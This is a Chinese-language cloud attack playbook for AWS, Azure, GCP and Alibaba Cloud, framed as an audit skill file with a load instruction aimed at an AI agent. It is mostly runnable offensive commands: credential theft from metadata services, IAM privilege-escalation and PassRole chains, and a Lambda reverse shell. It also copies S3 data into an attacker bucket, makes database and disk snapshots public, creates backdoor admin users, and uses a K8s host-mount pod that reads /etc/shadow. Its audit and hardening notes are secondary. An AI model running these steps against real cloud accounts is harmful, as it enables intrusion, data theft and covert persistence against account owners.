云安全深度攻防与审计技能

AI LOAD INSTRUCTION: 多云安全审计专家打法（AWS/Azure/GCP/阿里云）。聚焦入口（元数据 SSRF/AK-SK/存储/Serverless）→权限边界枚举→提权路径→云上 AI 服务面。凭据验证只读不自改，云 CLI 不假设可用。

概述

云环境是现代化基础设施的核心，攻击面横跨IaaS/PaaS/SaaS多层。本技能系统化覆盖云资产枚举→身份滥用→权限提升→横向移动→数据窃取→持久化→痕迹清理完整攻击链，覆盖AWS/Azure/GCP/阿里云四大平台，并深度融入2025-2026最新威胁情报：OIDC信任滥用、AI辅助攻击、云上AI服务攻击面、云供应链与容器逃逸新漏洞。

核心概念

• 共享责任模型：云厂商负责"云的安全"（物理/虚拟化/控制平面），租户负责"云中的安全"（IAM/数据/网络/配置）——绝大多数可被利用的漏洞都在租户侧
• 控制平面 vs 数据平面：控制平面是云API/IAM（如sts:AssumeRole、ec2:RunInstances），数据平面是资源内部（如VM内命令执行）。云攻击的本质是"控制平面攻击"，一次API调用即等同于传统渗透的一次RCE
• 身份即边界：2025年Google Cloud报告显示身份妥协占云妥协事件的83%，IAM已成为云上新的内核——"没有漏洞利用链，只有权限滥用"
• Living-off-the-cloud (LOTC)：不落地恶意软件，纯用云API与合法云服务完成C2/数据窃取/横向移动，流量与正常业务无法区分
• 攻击链模型：初始凭据/入口 → 枚举（我有什么权限）→ 权限提升 → 横向移动 → 数据窃取 → 持久化 → 对抗（日志清理/规避检测）

2025-2026 云威胁态势（时效性情报）

威胁趋势	关键情报	攻防启示
身份攻击主导	身份妥协占83%；钓鱼转向vishing（语音钓鱼）+第三方SaaS令牌窃取	审计重点从端口转向身份与信任关系
AI压缩攻击时间	Sysdig实测：AI辅助攻击8分钟内从凭据窃取到管理员权限（19个AWS主体、6个IAM角色）	传统"小时级"响应已失效，需近实时检测
OIDC信任滥用	UNC6426：s1ngularity npm供应链+宽松GitHub→AWS OIDC信任策略，72小时实现AWS管理员接管；275+ AWS账户存在同类缺陷	CI/CD身份信任关系是最高价值攻击面
容器逃逸新漏洞	Leaky Vessels(CVE-2024-21626)、NVIDIAScape(CVE-2025-23266,CVSS 9.0)、runc三漏洞(CVE-2025-31133/52565/52881)	GPU容器/AI基础设施成为逃逸新战场
云上AI服务被攻击	AWS Bedrock 8条IAM攻击向量、LLMjacking单日成本达$46,000、向量库未授权（Milvus CVE-2025-64513 CVSS 9.3）	AI服务自身就是新的高价值攻击面
供应链攻击常态化	2025年供应链攻击+93%；TanStack事件首次产出带有效SLSA L3的恶意包；tj-actions影响23,000+仓库	镜像/依赖/CI/CD第三方组件必须纳入审计
检测规避升级	T1562.008禁用云日志；PutBucketLifecycle短过期删CloudTrail日志；ATT&CK v18新增K8s/CI/CD/云数据库覆盖	日志完整性与抗篡改成为防御基石

一、云资产枚举与攻击面映射

1.1 侦察阶段

被动枚举：

技术	工具	目标
子域名枚举	Amass/Subfinder/CloudBrute	发现云服务端点
证书透明度	crt.sh/Censys	发现云域名
DNS枚举	DNSRecon/DNSDumpster	CNAME到云服务（识别云厂商）
搜索引擎	Google Hacking/Shodan/FOFA/Quake	暴露的云资源
GitHub泄露	git-hound/truffleHog/gitleaks	AK/SK/Token/密钥
云指纹识别	CloudEnum/cloudbrute	识别云服务商与资源名模式

凭据泄露面（2025-2026新增重点）：

1. GitHub/GitLab 代码库：硬编码AKSK（正则匹配）
   阿里云:  ^LTAI[A-Za-z0-9]{20}$
   腾讯云:  ^AKID[A-Za-z0-9]{32}$
   AWS:    (A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}
2. CI/CD 日志与配置：GitHub Actions secrets、Jenkins凭证、.env提交
3. 容器镜像层：docker history 泄露环境变量中的凭据
4. SaaS/第三方令牌：Slack/OAuth token、Salesforce集成凭据（UNC6395事件路径）
5. AI工具配置：Claude/Gemini CLI/Amazon Q本地凭据文件（QUIETVAULT专门窃取，含--dangerously-skip-permissions滥用）
6. 前端JS/小程序包：Webpack解包、逆向提取STS临时凭据
7. 错误页面/heapdump/备份文件泄露

主动枚举：

# AWS S3 Bucket枚举
aws s3 ls s3://bucket-name --no-sign-request
aws s3api list-buckets --profile target

# Azure Storage枚举
az storage blob list --container-name container --account-name account

# GCP Bucket枚举
gsutil ls gs://bucket-name

# 阿里云 OSS 枚举（ossutil2）
ossutil64 ls oss://bucket-name

1.2 云平台攻击面矩阵

攻击面	AWS	Azure	GCP	阿里云
身份服务	IAM	Entra ID(原Azure AD)	Cloud IAM	RAM
对象存储	S3	Blob Storage	Cloud Storage	OSS
计算	EC2/Lambda	VM/Functions	GCE/Functions	ECS/FC
数据库	RDS/DynamoDB	SQL DB/Cosmos	Cloud SQL/BigQuery	RDS/OTS
容器	EKS/ECS	AKS	GKE	ACK
消息队列	SQS/SNS	Service Bus	Pub/Sub	MNS
Serverless	Lambda	Functions	Cloud Functions	FC
AI平台	Bedrock/SageMaker	Azure OpenAI	Vertex AI	百炼/DAS
密钥管理	KMS	Key Vault	Cloud KMS	KMS
审计日志	CloudTrail	Activity Log	Audit Log	ActionTrail

1.3 权限枚举（拿到凭据后第一件事）

# AWS：我到底有什么权限
aws sts get-caller-identity
# 显式枚举（可能被拒）
aws iam list-attached-user-policies --user-name <user>
# 盲测枚举（enumerate-iam / pacu iam__bruteforce_permissions）
# 通过调用数百个只读API，以成功/失败推断权限矩阵
python3 enumerate-iam --access-key AKIA... --secret-key ...

# Azure
az account show
az ad signed-in-user show

# GCP
gcloud auth list
gcloud projects get-iam-policy <project-id>

# 阿里云
aliyun sts GetCallerIdentity

二、IAM 深度攻击与权限提升

2.1 AWS IAM 攻击面总览

AK/SK泄露利用：

# 枚举当前身份与权限
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::123:user/user --action-names "*"

# 权限提升关键API
# iam:CreateAccessKey → 接管其他用户
# iam:CreateLoginProfile / UpdateLoginProfile → 重置他人密码
# iam:PutUserPolicy / AttachUserPolicy → 自授管理员
# iam:AddUserToGroup → 加入高权限组
# sts:AssumeRole → 角色扮演提权
# lambda:CreateFunction + lambda:InvokeFunction → Lambda代码执行
# ec2:RunInstances + iam:PassRole → 创建带高权限角色的实例

Rhino Security Labs 记录的 21 种 AWS IAM 提权路径中最高危的 5 种（2025-2026实战统计）：

1. iam:CreatePolicyVersion → 创建新策略版本（AdministratorAccess）覆盖原策略
2. iam:SetDefaultPolicyVersion → 切换默认版本到宽松旧版
3. iam:PassRole（配合 lambda:CreateFunction / ec2:RunInstances / cloudformation:CreateStack）
4. iam:AttachUserPolicy / PutUserPolicy / PutRolePolicy
5. sts:AssumeRole（配合宽松信任策略）

2.2 策略混淆代理（PassRole 滥用）

PassRole 是"代理攻击"的经典代表： 拥有 iam:PassRole 即可把高权限角色的身份"代理"给另一个服务执行，即使自己无权限直接使用该角色权限。

# 攻击链：低权限用户 + iam:PassRole + lambda:CreateFunction
# 1. 编写反弹Shell代码
# 2. 创建Lambda函数并PassRole给高权限角色
aws lambda create-function --function-name pwn \
  --runtime python3.12 --role arn:aws:iam::123456789012:role/AdminRole \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://payload.zip
# 3. 调用函数执行
aws lambda invoke --function-name pwn out.json
# 4. 此时你的Lambda代码运行在AdminRole身份下

# 其他 PassRole 载体
# ec2:RunInstances + PassRole → 启动带高权限角色实例，SSH进入后取临时凭据
# cloudformation:CreateStack + PassRole → CFN模板中用户数据执行命令
# ecs:RegisterTaskDefinition + PassRole → 恶意任务定义
# sagemaker:CreateNotebookInstance + PassRole

2.3 受管策略滥用与信任边界绕过

• AWS受管策略直接附加：arn:aws:iam::aws:policy/AdministratorAccess 被错误附加到开发账号/CI角色
• AWS Organizations 信任单向性：管理账号可对成员账号执行 sts:AssumeRoot 接管root访问，绕过成员账号管理员配置的防护；攻击者拿到管理账号即拿到所有成员账号
• 服务链接角色：iam:CreateServiceLinkedRole 可创建 lex.amazonaws.com 等服务角色，配合 PassRole 扩大攻击面
• 标签/会话标签边界：aws:RequestTag、aws:PrincipalTag 条件使用不当导致的越权

2.4 信任策略攻击（OIDC/联邦/条件误评估）

信任策略是真正的访问控制平面——2026年披露的 IAM 条件误评估问题（CVE-2026-1238 类）表明"看似安全"的信任策略在 IAM 求值语义下行为完全不同：

// 危险模式1：StringEqualsIfExists——键不存在时条件不生效
{
  "Condition": {"StringEqualsIfExists": {"aws:SourceIdentity": "approved-session"}}
}
// 攻击者不传 SourceIdentity 即可绕过 → 应改用 StringEquals

// 危险模式2：通配 Principal
{"Principal": {"AWS": "*"}}               // 任意账号任意身份可Assume
{"Principal": {"AWS": "arn:aws:iam::123456789012:root"}}  // 账号内所有身份

// 危险模式3：OIDC 联邦信任策略过宽（2025-2026最高频漏洞）
// GitHub Actions OIDC 信任：sub/aud 未精确限定仓库与分支
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {"StringEquals": {"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"}}
  }]
}
// 缺陷：sub 未限定为 repo:owner/repo:ref:refs/heads/main → 任意仓库/分支的Actions可Assume
// UNC6426 真实链：恶意npm包偷GitHub token → 滥用GitHub→AWS OIDC信任 → 创建管理员角色 → S3数据窃取

OIDC 信任策略加固基线（审计重点）：

• token.actions.githubusercontent.com:sub 必须精确匹配 repo:org/repo:ref:refs/heads/main
• aud 限定为具体角色ARN而非 sts.amazonaws.com
• 检查 GitHub Actions 工作流 permissions 最小化声明
• 2025年6月起AWS已对新建易受攻击角色设护栏，但存量角色仍可利用

2.5 Azure Entra ID（原 Azure AD）攻击

# Service Principal 滥用
az ad sp list --all --query "[?appDisplayName=='target']"
az login --service-principal -u APP_ID -p SECRET --tenant TENANT_ID

# 权限提升高危权限
# Application.ReadWrite.All → 修改应用凭据/权限
# RoleManagement.ReadWrite.Directory → 提升目录角色（提权到Global Admin）
# AppRoleAssignment.ReadWrite.All → 分配应用角色
# ConditionalAccess 污染 → 修改条件访问策略放行攻击者
# 创建隐蔽 Service Principal 作为持久化（2025年APT29等组织高频手法）

# 借助 AzureHound/BloodHound 绘制 Azure 提权图
bloodhound-python -u user@corp.onmicrosoft.com -p pass -c All -d corp.onmicrosoft.com --collectionMethod Azure

2.6 GCP IAM 攻击

gcloud projects get-iam-policy PROJECT_ID
gcloud iam service-accounts list --project=PROJECT_ID
gcloud auth activate-service-account --key-file=key.json

# 提权路径
# iam.serviceAccounts.actAs → 模拟服务账号（配合云函数/计算实例）
# iam.serviceAccountKeys.create → 为高权限SA创建密钥
# iam.roles.update → 修改自定义角色权限
# 计算实例元数据 → 元数据服务器令牌窃取
# GCP "Workload Identity Federation" 配置过宽（类AWS OIDC问题）

2.7 阿里云 RAM 攻击

# 枚举
aliyun ram ListUsers
aliyun ram ListAccessKeys --UserName <user>
aliyun sts GetCallerIdentity

# 提权路径
# ram:CreateAccessKey → 创建他人AK
# ram:AttachPolicyToUser / AttachPolicyToRole → 附加高权限策略（AliyunRAMFullAccess等）
# ram:UpdateLoginProfile → 重置密码
# ram:PassRole（配合 ECS/FC/RAM角色）→ 用角色身份执行操作
# ram:SetDefaultPolicyVersion → 切换到宽松版本

# 阿里云主账号 vs RAM子账号：子账号过度授权（AdministratorAccess）是常态问题
# STS临时凭据：ossutil64 配置 STS 后测试权限是否过大
ossutil64 config -e oss-cn-hangzhou.aliyuncs.com -i STS_AK -k STS_SK -t STS_TOKEN
ossutil64 ls oss://your-bucket/

三、云存储安全深度审计

3.1 AWS S3 Bucket 攻击

未授权访问检测与策略审计：

aws s3 ls s3://target-bucket --no-sign-request
aws s3api get-bucket-policy --bucket target-bucket
aws s3api get-bucket-acl --bucket target-bucket
aws s3api get-bucket-versioning --bucket target-bucket
aws s3api get-bucket-website --bucket target-bucket

# 常见误配置矩阵
# - s3:GetObject 公开 → 数据泄露
# - s3:PutObject 公开 → 数据篡改/钓鱼托管
# - s3:ListBucket 公开 → 文件枚举
# - s3:PutBucketPolicy → 策略篡改（给自己开权限）
# - 版本控制未开启 → 无法恢复被删数据
# - Bucket未删除 → Dangling DNS劫持

Bucket 命名接管（Dangling DNS / Subdomain Takeover）：

1. 域名 CNAME 指向已删除的 S3 Bucket（或未创建）
2. 在目标区域创建同名 Bucket 接管
3. 实现钓鱼/内容注入/证书签发

预签名URL与STS滥用：

1. 泄露的预签名URL在有效期（最长7天）内可重复使用 → 收集分析日志中的签名URL
2. 预签名URL Policy过于宽松（允许上传任意key）→ 覆盖关键对象
3. 前端生成的STS临时凭据权限过大 → 直接越权访问其他桶
4. 参数篡改：?acl / ?uploads / ?tagging / ?versioning / ?logging 测试越权

3.2 阿里云 OSS 攻击

# 公开访问检测
curl "https://bucket.oss-cn-hangzhou.aliyuncs.com/?list-type=2"

# 前端AKSK硬编码（长期凭据，最常见）
# AK: LTAI 开头；SK: 40位字符串
# 泄露源：前端JS、小程序、配置文件、GitHub、heapdump

# RAM策略注入（用户输入未过滤直接拼入策略JSON时）
# 输入: aaa"]},{"effect":"allow","action":[""],"resource":["qcs::oss:","qcs::ecs:*
# 结果: 策略被闭合注入，允许访问所有资源

# 签名绕过与越权
# - 预签名URL key参数覆盖（替换为其他对象路径）
# - STS临时凭据权限过大
# - CDN回源误配置（回源请求未过滤，阿里云OSS 2024年曾公开案例）
# - CORS配置过宽（Access-Control-Allow-Origin: *）→ 浏览器端跨域读取桶数据

# 桶策略/ACL测试
ossutil64 ls oss://bucket-name
ossutil64 stat oss://bucket-name/object

3.3 Azure Blob / GCP Cloud Storage

# Azure 公开容器枚举
curl "https://account.blob.core.windows.net/container?restype=container&comp=list"
# SAS Token 泄露利用（sv= 开头的URL参数）
az storage blob list --container-name container --sas-token "sv=...&sig=..."

# GCP 公开桶
gsutil ls gs://bucket-name
# 桶策略
gsutil iam get gs://bucket-name
# 版本化对象恢复/删除
gsutil versioning get gs://bucket-name

3.4 私有/自建对象存储（MinIO 等）

• MinIO CVE-2025-31489：任意覆盖写桶文件（绕过签名校验），可篡改/投毒其中的 AI 模型文件、数据集，实现"存储→模型供应链投毒"（加载模型即执行恶意代码）
• S3 兼容服务（MinIO/Ceph/RGW）常暴露在公网且使用默认/弱凭据，注意识别 9000 端口（MinIO Console）
• 检查桶内 AI 相关资产：模型权重（.pt/.safetensors）、向量库备份、RAG语料——AI/ML管道资产是高权限凭据的常见藏身处（8分钟攻击事件即从公开S3桶中的RAG凭据入手）

四、元数据服务攻击与 SSRF 利用链

4.1 云元数据端点

云平台	元数据地址	凭据路径
AWS	http://169.254.169.254	/latest/meta-data/iam/security-credentials/ROLE
Azure	http://169.254.169.254	/metadata/identity/oauth2/token?api-version=2018-02-01&resource=RESOURCE
GCP	http://metadata.google.internal / http://169.254.169.254	/computeMetadata/v1/instance/service-accounts/default/token
阿里云	http://100.100.100.200	/latest/meta-data/ram/security-credentials/ROLE
腾讯云	http://metadata.tencentyun.com	/latest/meta-data/cam/security-credentials/ROLE
华为云	http://169.254.169.254	/openstack/latest/securitykey

# AWS IMDSv1 一键取凭据
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

# 阿里云
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/<ROLE>

# GCP（需Metadata-Flavor头）
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Azure（需Metadata: true头）
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

4.2 IMDSv2 绕过（AWS）

# IMDSv2 需要 PUT 获取Token（TTL必须）
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
curl "http://169.254.169.254/latest/meta-data/" -H "X-aws-ec2-metadata-token: TOKEN"

# SSRF支持PUT方法（可发任意请求的SSRF，如某些代理类SSRF）→ 直接GET Token
# 技巧：CRLF注入构造PUT；或利用302跳转将GET转为PUT（部分SSRF实现支持）
# X-aws-ec2-metadata-token-ttl-seconds 最小值必须为1以上，设0报错

IMDSv1 被强制关闭的绕法（2025-2026实战）：

1. IPv6 元数据端点：如果实例启用了IPv6但仅关闭了IPv4的IMDSv1
   curl "http://[fd00:ec2::254]/latest/meta-data/"
2. 附加网络接口 ENI 的元数据（在容器/多网卡场景）
   curl "http://169.254.169.254" 对每个网卡命名空间内可访问
3. 容器共享宿主网络命名空间（hostNetwork pod）→ 直连宿主IMDS
4. 利用 instance-identity-document 中的 region/accountId 辅助枚举

4.3 SSRF 利用链（含 GCP 特殊路径）

1. 发现应用层 SSRF（URL参数、图片代理、Webhook、PDF生成、Office转换）
2. 请求元数据端点获取临时凭据（注意不同平台的Header要求）
3. GCP 独有：即使无法出网，也可读取项目元数据（ssh密钥、项目编号）辅助进一步攻击：
   curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys
   curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/?recursive=true
4. 使用临时凭据调用云API → 权限提升/横向移动/数据窃取
5. 高级：元数据服务作为代理反弹（GCP metadata header注入）

4.4 元数据攻击的进阶利用

• 凭据时效性：临时凭据有效期 AWS 默认最长6小时，需在窗口内完成利用；可反复刷新
• DNS重绑定：SSRF有域名白名单时，用 169.254.169.254.nip.io 等技巧或DNS rebinding绕过
• 协议限制绕过：http://169.254.169.254@evil.com、十进制IP、IPv6、URL编码
• Lambda/容器环境：AWS_CONTAINER_CREDENTIALS_RELATIVE_URI（169.254.170.2）与 AWS_CONTAINER_CREDENTIALS_FULL_URI 环境变量暴露的另一个凭据端点，SSRF同样可达

五、云原生完整攻击链（元数据→IAM横向→数据泄露→权限提升）

5.1 攻击链总览

┌─────────────┐   ┌──────────────┐   ┌────────────────┐   ┌────────────┐
│ 初始入口     │ → │ 身份获取      │ → │ 枚举与权限提升  │ → │ 数据窃取   │
│ (SSRF/泄露  │   │ (IMDS凭据/   │   │ (IAM提权路径/  │   │ (S3批量拉取│
│  AK/钓鱼)   │   │  AK/会话令牌) │   │  角色横跳)     │   │  /复制/     │
└─────────────┘   └──────────────┘   └────────────────┘   │  快照导出)  │
                                                          └────────────┘

5.2 实战攻击链案例复盘（2025-2026）

案例A：8分钟 AI 辅助云接管（Sysdig 2026.02 复盘）

1. 初始入口：公开S3桶中的RAG数据文件包含AWS凭据（AI/ML管道资产=凭据藏身处）
2. 枚举：GetServiceQuota/GetCallerIdentity 摸清环境与配额（先规划再行动）
3. 权限提升：利用过度授权的Lambda执行角色注入AI生成代码
4. 横向移动：6个IAM角色横跳、跨14个会话、19个AWS主体
5. 数据窃取+资源滥用：未经授权调用9个Bedrock基础模型（LLMjacking）+尝试开GPU实例
6. 持久化：创建后门账号
7. 痕迹特征：代码含LLM生成的异常处理模式、幻觉URL、session名含"claude-session"

案例B：UNC6426 OIDC 供应链链（Google/Mandiant H1 2026）

1. 供应链：s1ngularity npm恶意包偷开发者的GitHub token（含AI工具凭据）
2. 身份滥用：用GitHub token触发GitHub Actions → 滥用过宽GitHub→AWS OIDC信任
3. 提权：CloudFormation IAM能力允许低权限角色创建"继任者"管理员角色
4. 数据窃取：从S3桶批量外传文件
5. 结论：无0day、无新型恶意软件，三个"常见但很少被串联"的配置缺陷=完全云接管

案例C：10分钟加密挖矿（Qualys 2026.07）

泄露AK → 枚举（GetServiceQuota了解配额）→ EC2/ECS部署挖矿 → Lambda持久化，10分钟内完成

5.3 攻击链各环节实战要点

环节1：横向移动（IAM角色横跳）

# 列出可Assume的角色
aws iam list-roles --query 'Roles[].Arn'
# 尝试AssumeRole（逐个测试信任策略）
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/DevAdmin --role-session-name pwn
# 跨账号横跳（组织内账号角色链）
aws sts assume-role --role-arn arn:aws:iam::987654321098:role/OrgAdmin --role-session-name pwn
# 云上横向的本质：不是网络层，而是"身份信任关系图"

环节2：数据窃取手段

# S3 批量下载（大桶注意限速与日志规避）
aws s3 sync s3://target-bucket/ ./dump/ --no-sign-request

# 大规模外传首选：S3复制到攻击者桶（不留本地流量）
aws s3 cp s3://victim/data s3://attacker/data --recursive

# RDS/数据库导出
aws rds create-db-snapshot --db-instance-identifier target-db --db-snapshot-identifier pwn
aws rds restore-db-instance-from-db-snapshot ... # 或直接共享快照
aws rds modify-db-snapshot-attribute --db-snapshot-identifier pwn --attribute-name restore --values-to-add all

# EBS快照/AMI导出
aws ec2 create-snapshot --volume-id vol-xxx
aws ec2 modify-snapshot-attribute --snapshot-id snap-xxx --attribute createVolumePermission --operation-type add --user-ids all

# 日志数据：CloudTrail/应用日志中的敏感字段

环节3：持久化手段

# 1. 创建隐藏IAM用户/角色（vsCode-lambda等拟态命名）
aws iam create-user --user-name "backup-svc-2026"
aws iam attach-user-policy --user-name backup-svc-2026 --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# 2. 修改现有角色信任策略
aws iam update-assume-role-policy --role-name AppRole --policy-document file://trust.json

# 3. 创建Lambda定时任务（EventBridge触发，天然隐蔽）
# 4. EC2 UserData后门：每次重装自动执行
# 5. 创建访问密钥替代轮换（CreateAccessKey生成新AK，绕过原凭据轮换）
# 6. 阿里云/Azure：RAM用户/服务主体 + 条件访问策略污染

六、容器与 Kubernetes 云环境攻击

深度联动技能：[container-security-testing]——本技能聚焦"云环境中的容器/K8s"，细粒度容器逃逸链请联动该技能

6.1 容器逃逸路径（2024-2025漏洞时间线）

漏洞	年份	组件	评分	要点
CVE-2024-21626 Leaky Vessels	2024.01	runc	8.6	文件描述符泄漏，80%云环境受影响；/proc/self/fd/7 逃逸
CVE-2024-23651/23652/23653	2024.01	BuildKit	高	构建时竞态逃逸
CVE-2024-1086	2024.01	Linux内核	7.8	netfilter use-after-free 提权
CVE-2024-0132	2024.09	NVIDIA Toolkit	9.0	TOCTOU逃逸
CVE-2025-23266 NVIDIAScape	2025.07	NVIDIA Toolkit	9.0	OCI Hook + LD_PRELOAD注入，三行exploit，37%云环境受影响
CVE-2025-9074	2025.08	Docker Desktop	9.3	API未授权访问
CVE-2025-31133/52565/52881	2025.11	runc	高	竞态条件/符号链接竞态逃逸，影响所有runc版本

经典逃逸路径清单：

1. 特权容器 → 直接访问宿主机设备/挂载
2. 内核漏洞 → 内核级逃逸
3. 挂载宿主机文件系统（hostPath /var 等）→ 读写宿主机
4. Docker Socket 挂载 → 创建特权容器
5. CAP_SYS_ADMIN → mount 逃逸
6. PID namespace 共享 → nsenter 逃逸
7. /proc/self/fd 泄漏（CVE-2024-21626）
8. GPU容器工具链（NVIDIA Container Toolkit）→ 新逃逸战场（AI工作负载）
9. 恶意镜像/恶意Dockerfile（workdir、LD_PRELOAD、挂载选项）→ 构建期逃逸
10. Docker Desktop API 未授权（CVE-2025-9074）→ 本地服务接管

6.2 Kubernetes 攻击

# Service Account Token 窃取（进入Pod后第一步）
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# API Server 未授权/弱认证访问
curl -k https://k8s-api:6443/api/v1/pods -H "Authorization: Bearer TOKEN"

# RBAC 审计（有没有权限做大动作）
kubectl auth can-i --list
kubectl get clusterrolebinding -o json
kubectl get secrets --all-namespaces

# 利用SA权限创建恶意工作负载（挂载宿主机根目录）
kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: pwn
spec:
  hostPID: true
  volumes:
  - name: host
    hostPath: {path: /, type: Directory}
  containers:
  - name: c
    image: alpine
    command: ["/bin/sh","-c","chroot /host sh -c 'cat /etc/shadow' > /tmp/out; sleep 3600"]
    volumeMounts: [{name: host, mountPath: /host}]
EOF

# 创建高权限ClusterRole（若有RBAC写权限）
# 窃取 kubeconfig / kubectl 配置
# K8s横向移动：NetworkPolicy缺陷、Pod间网络嗅探、利用kube-proxy端口

6.3 云托管K8s的攻击特殊性

1. EKS workload 修改（AWS Threat Technique Catalog 2026新增）：改镜像/sidecar注入/pod规格，不新建资源，继承合法工作负载的网络访问、SA权限、数据访问——无准入控制器时难以发现
2. EKS 控制平面与节点角色的混合：节点IAM角色（NodeInstanceRole）权限过大 → 通过Pod内IMDS窃取节点角色凭据 → 直接调AWS API
3. AKS：Azure AD 集成RBAC的令牌滥用；GKE：Workload Identity 配置过宽
4. ACK（阿里云）：RBAC 弱配置授予 cluster-admin 是常态
5. 公开暴露的K8s API Server（6443）→ 未授权访问/弱凭据爆破
6. 托管K8s 的 Service Account 默认挂载：应用Pod默认挂载SA token，过度授权的SA是主要横向路径

6.4 云上容器安全检查命令

# 检查Pod/Namespace/RBAC风险（评估视角）
kubectl get pods -A -o wide
kubectl get psp,networkpolicy -A
kubectl get secrets,serviceaccounts -A
kubectl describe node | grep -A5 "Taints"

# 镜像漏洞扫描
trivy image <registry>/<image>:<tag>
trivy k8s --report summary cluster

# 运行时逃逸探测
kdigger bucket
# 环境探测：是否特权、capabilities、挂载、seccomp状态

七、Serverless 与云函数攻击

7.1 云函数攻击面总览（Lambda/FC/Cloud Functions/Azure Functions）

1. 环境变量泄露（AK/SK、数据库连接串、第三方API key——最常被忽略的高价值资产）
2. 过度权限的执行角色（函数角色=提权跳板，8分钟攻击案例的核心载体）
3. 依赖包/层投毒（供应链：恶意依赖在函数执行时触发）
4. 事件源注入（S3事件/SQS/API Gateway/定时触发器注入恶意负载）
5. /tmp 目录残留（临时凭据、处理中的敏感文件跨调用残留）
6. Lambda 层（Layer）投毒：覆盖业务代码的共享层
7. 函数代码/配置可被外部修改（lambda:UpdateFunctionCode/Configuration）
8. 并发与配额滥用（DDoS/资源耗尽）

7.2 Lambda 注入与代码执行链

# 攻击链：有lambda:CreateFunction/UpdateFunctionCode + iam:PassRole（或函数角色本身弱）
# 1. 制作恶意函数（反弹Shell/读取环境变量并回传）
# 2. 创建或更新函数（注入到现有函数更隐蔽——被更新的是生产函数）
aws lambda update-function-code --function-name <target> --zip-file fileb://pwn.zip
# 3. 用原有事件源触发 或 直接Invoke
aws lambda invoke --function-name <target> out.json

# 通过函数窃取环境变量
# handler中: os.environ 打包外传（HTTP/DNS外带）

# EventBridge 定时触发持久化
aws events put-rule --name pwn --schedule-expression "rate(6 hours)"
aws events put-targets --rule pwn --targets "[{\"Id\":\"1\",\"Arn\":\"arn:aws:lambda:...:function:pwn\"}]"

# 阿里云FC 类似：service/function 更新代码 + 触发器
# GCP Cloud Functions：functions.source.update + iam.serviceAccounts.actAs

7.3 事件源注入攻击面

1. S3事件触发：上传恶意对象到桶 → 触发函数处理 → 注入恶意文件名/内容（路径遍历/命令注入）
2. SQS消息：构造恶意消息体 → 函数消费时触发注入
3. API Gateway：HTTP请求头/体注入函数参数
4. 定时触发器：若函数依赖外部URL（拉取配置），利用函数SSRF或供应链劫持
5. 事件负载注入 → 反序列化/模板注入（函数内处理不可信数据）

八、托管数据库与云服务独特漏洞

8.1 托管数据库未授权/配置缺陷

平台	服务	常见缺陷
AWS	RDS/Aurora	公开可访问（PubliclyAccessible=true）、弱口令、快照公开共享、删除保护关闭
AWS	DynamoDB	表级策略过宽（未授权Scan）、DAX端点暴露
AWS	OpenSearch/ES	公网开放+无认证（IAM policy缺失）、Kibana未授权
AWS	Redshift	公网端口5439暴露、凭据泄露
Azure	SQL DB/Cosmos	防火墙规则0.0.0.0/0、SAS key泄露、连接串硬编码
GCP	Cloud SQL	公网IP+无SSL强制+弱口令、Cloud SQL Auth Proxy未启用
GCP	BigQuery	数据集/表IAM过宽（allUsers可查询）
阿里云	RDS	白名单0.0.0.0/0、弱口令、内外网地址混淆（私网地址被当作公网开放）
通用	托管Redis/Memcached	公网+无认证 → 写SSH key/反弹Shell

# 探测公开托管数据库（Shodan/FOFA语法）
# AWS RDS: port:"3306" ssl:"Amazon RDS" / "rds.amazonaws.com"
# Azure: "database.windows.net"
# 阿里云RDS: port:"3306" "aliyuncs.com"
mysql -h <rds-endpoint> -u admin -p
# 无认证Redis写SSH key链
redis-cli -h <host> -p 6379
# config set dir /root/.ssh → set authorized_keys

8.2 数据库凭据链与快照攻击

1. 数据库连接串泄露（代码/配置/环境变量/heapdump）→ 直连托管数据库
2. 快照共享/导出：RDS/EBS/Cloud SQL 快照共享给攻击者账号 → 离线恢复读取全库
3. 跨账号RDS快照共享：modify-db-snapshot-attribute 添加攻击者账号ID
4. 数据库恢复后从系统表中提取其他凭据（mysql.user、pg_shadow等）继续横向
5. 备份文件公开：S3/OSS桶中的.sql/.bak备份未加密且桶公开
6. 托管数据库自带"导入导出"通道：Data Pipeline、DMS复制任务→指向攻击者库
7. 内存数据库（ElastiCache/Redis）无认证 + 弱口令 → 数据窃取/RCE

8.3 其他云服务独特漏洞与滥用

1. CloudFormation/Cloud Development Kit（IaC）：模板中硬编码密钥；ChangeSet/Stack策略
   → 结合 PassRole 执行任意IAM操作（UNC6426 提权环节）
2. SSM（Systems Manager）：
   - Parameter Store 明文参数（/prod/db_password 明文）
   - RunCommand 对托管实例执行命令（若持有ssm:SendCommand）
   - SSM Agent 端口的本地利用（未认证HTTP 127.0.0.1:9999+）
3. Service Quota / GetServiceQuota：侦察时摸清配额上限，规划挖矿/资源滥用规模（10分钟挖矿案例）
4. 备份服务滥用：云备份/Veeam等（2025年威胁报告显示备份系统成为首要目标）→ 删库/勒索先删备份
